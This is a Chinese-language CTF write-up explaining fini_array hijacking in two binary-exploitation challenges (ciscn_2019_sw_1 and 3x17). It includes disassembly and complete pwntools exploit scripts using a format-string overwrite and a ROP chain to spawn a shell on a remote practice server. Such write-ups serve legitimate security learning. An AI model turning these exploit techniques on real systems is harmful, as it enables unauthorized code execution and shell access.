劫持fini_array

先贴一张程序的启动流程图
main 函数不是程序起点 text 段起点是_start函数 。_start 函数调用__libc_start_main 完成启动和退出工作
程序在加载的时候,会依次调用init.array数组中的每一个函数指针,在结束的时候,依次调用fini.array中的每一个函数指针
例题:ciscn_2019_sw_1
checksec

no relro可以修改fini_array

有个格式化字符串漏洞,但是只有一次机会

还有个system
一次格式化字符串利用不够,所以我们要改finiarry为main,printf为system,这样程序再循环main,我们输入/bin/sh就拿到shell了
fini_array
finiarry的位置获取方式:
shift+f7打开IDA的Segments窗口

或者elf.sym[‘__init_array_end’]都可
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug') io = remote("node4.buuoj.cn",28031)
elf = ELF('./ciscn_2019_sw_1')
printf_got = elf.got['printf'] system_plt = elf.plt['system'] fini_array = elf.sym['__init_array_end'] main = elf.sym['main']
offest = 4 io.recvuntil("Welcome to my ctf! What's your name?") payload = p32(fini_array + 2) + p32(printf_got+2) + p32(printf_got) + p32(fini_array) payload += "%" + str(0x0804 - 0x10) + "c%4$hn" payload += "%5$hn" payload += "%" + str(0x83D0 - 0x0804) + "c%6$hn" payload += "%" + str(0x8534 - 0x83D0) + "c%7$hn"
io.sendline(payload) io.recvuntil("Welcome to my ctf! What's your name?") io.sendline('/bin/sh\x00')
io.interactive()
|

例题2:pwnable.317-x64静态编译程序的fini_array劫持
._start函数才是程序的入口点,他会调用libc_start_main函数,这里可以先看一下libc_start_main函数的原型:
1
| __libc_start_main(main,argc,argv&env,init,fini,rtld_fini)
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| .text:0000000000402960 __libc_csu_fini proc near ; DATA XREF: start+F↑o .text:0000000000402960 ; __unwind { .text:0000000000402960 push rbp .text:0000000000402961 lea rax, unk_4B4100 .text:0000000000402968 lea rbp, off_4B40F0 .text:000000000040296F push rbx .text:0000000000402970 sub rax, rbp .text:0000000000402973 sub rsp, 8 .text:0000000000402977 sar rax, 3 .text:000000000040297B jz short loc_402996 .text:000000000040297D lea rbx, [rax-1] .text:0000000000402981 nop dword ptr [rax+00000000h] .text:0000000000402988 .text:0000000000402988 loc_402988: ; CODE XREF: __libc_csu_fini+34↓j .text:0000000000402988 call qword ptr [rbp+rbx*8+0] .text:000000000040298C sub rbx, 1 .text:0000000000402990 cmp rbx, 0FFFFFFFFFFFFFFFFh .text:0000000000402994 jnz short loc_402988 .text:0000000000402996 .text:0000000000402996 loc_402996: ; CODE XREF: __libc_csu_fini+1B↑j .text:0000000000402996 add rsp, 8 .text:000000000040299A pop rbx .text:000000000040299B pop rbp .text:000000000040299C jmp _term_proc .text:000000000040299C ; } // starts at 402960 .text:000000000040299C __libc_csu_fini endp
|
在.text:0000000000402988这个地方有一个call指令,结合前面的代码可以知道rbp保存的是fini_array的值,所以这里会调用fini_array中的函数.所以只要修改了fini_array的数值,我们就可以劫持eip.看一下fini_array的代码:
1 2 3 4 5 6 7
| .fini_array:00000000004B40F0 _fini_array segment qword public 'DATA' use64 .fini_array:00000000004B40F0 assume cs:_fini_array .fini_array:00000000004B40F0 ;org 4B40F0h .fini_array:00000000004B40F0 off_4B40F0 dq offset sub_401B00 ; DATA XREF: sub_4028D0+4C↑o .fini_array:00000000004B40F0 ; __libc_csu_fini+8↑o .fini_array:00000000004B40F8 dq offset sub_401580 .fini_array:00000000004B40F8 _fini_array ends
|
这里保存了两个函数指针,分别是fini_array[0]和fini_array[1]这俩函数指针是反向执行的,先执行fini_array[1],再执行fini_array[0].如果我们将fini_array[0]覆盖为libc_csu_fini的地址,再将fini_array[1]覆盖为任意一个地址A,那么程序就会循环执行A地址的代码,直到fini_array[0]覆盖为其他值.
其次,在.text:0000000000402968可以修改rbp为fini_array的首地址,配合leave;ret可以把栈迁移到fini_array
checksec




虽然开了Partial RELRO,但是我们可以看到0x4b4000 - 0x4ba000是可读可写的,也就是fini所在位置:0x4b40f0也是可写的

程序功能就是向任意地址写0x18字节,但是只用1次是不够的,我们劫持fini_array[1]为main函数地址,fini_array[0]为__libc_csu_fini
然后在fini_array+0x10地址处构造ROP chain
构造完ROP chain之后,将fini_array[0]改为’leave;ret’,将fini_array[1]改为’ret’.这样,在执行完main函数(即fini_array[1])之后,程序去执行位于fini_array[0]的’leave;ret’,执行完之后,rip=fini_array[1],rsp=0x4b40f0+0x10.此时,fini_array[1]存放着我们放入的ret,这样,eip的值就被修改为了0x4b40f0+0x10.这也就是上一步我们将ROP链放在这个地址的原因.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| from pwn import * context(os = 'linux', arch = 'i386', log_level = 'debug') io = remote("node4.buuoj.cn",26797)
elf = ELF('./3x17')
libc_csu_fini = 0x402960 fini_array = 0x4B40F0 esp = fini_array + 0x10 main_addr = 0x401B6D leave_ret = 0x401C4B ret = 0x401016
syscall_ret = 0x0000000000471db5 pop_rax_ret = 0x000000000041e4af pop_rdi_ret = 0x0000000000401696 pop_rsi_ret = 0x0000000000406c30 pop_rdx_ret = 0x0000000000446e35 bin_sh_addr = 0x4B9500
def write(addr,data): io.sendafter('addr:',str(addr)) io.sendafter('data:',data)
write(fini_array,p64(libc_csu_fini)+p64(main_addr)) write(bin_sh_addr,"/bin/sh\x00")
write(esp,p64(pop_rax_ret)) write(esp+8,p64(0x3b)) write(esp+16,p64(pop_rdi_ret)) write(esp+24,p64(bin_sh_addr)) write(esp+32,p64(pop_rsi_ret)) write(esp+40,p64(0)) write(esp+48,p64(pop_rdx_ret)) write(esp+56,p64(0)) write(esp+64,p64(syscall_ret))
write(fini_array,p64(leave_ret)+p64(ret))
io.interactive()
|
